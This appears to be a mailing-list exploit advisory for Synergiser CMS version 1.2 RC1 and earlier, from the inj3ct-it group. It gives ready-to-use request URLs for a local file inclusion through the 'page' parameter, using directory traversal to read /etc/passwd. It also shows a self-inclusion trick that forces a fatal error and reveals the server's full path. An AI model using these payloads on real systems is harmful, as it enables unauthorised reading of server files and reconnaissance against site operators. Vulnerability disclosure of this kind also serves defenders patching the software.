<<< Date Index >>>     <<< Thread Index >>>

Synergiser <= 1.2 RC1 Local File Inclusion & Full path disclosure



---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org             Staff[at]inj3ct-it[dot]org 
Original here: http://www.inj3ct-it.org/exploit/syner.txt
---------------------------------------------------------------

Synergiser <= 1.2 RC1 Local File Inclusion & Full path disclosure

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC:
---------------------------------------------------------------
Synergiser cms allows to include a file by the get variabile "page". We can't 
include a remote file, coz there is a filter..but we can include, by a 
directory traversal, some important files...for example:
---------------------------------------------------------------
http://[target]/[synergiser_path]/index.php?page=../../../etc/passwd
---------------------------------------------------------------
So, we have to know the script path if we wanna browse the server...we can get 
it generating a full path disclosure, like this:
---------------------------------------------------------------
http://[target]/[synergiser_path]/index.php?page=../index.php
---------------------------------------------------------------
We know that a function cannot be declared two times. So, let's read the 
"index.php" code, and we will found:
---------------------------------------------------------------
include('application_top.php');
---------------------------------------------------------------
This row includes "application_top.php". In that page, is declared a php 
function: assign_rand_value(); So, including index.php in index.php, we will 
reinclude application_top.php, and we will redeclare the same function. We 
can't do it! So the server will answer:
---------------------------------------------------------------
Fatal error: Cannot redeclare assign_rand_value() (previously declared in 
[script_path]/application_top.php:9) in [script_path]/application_top.php on 
line 124
---------------------------------------------------------------
And we got the script path! :P
---------------------------------------------------------------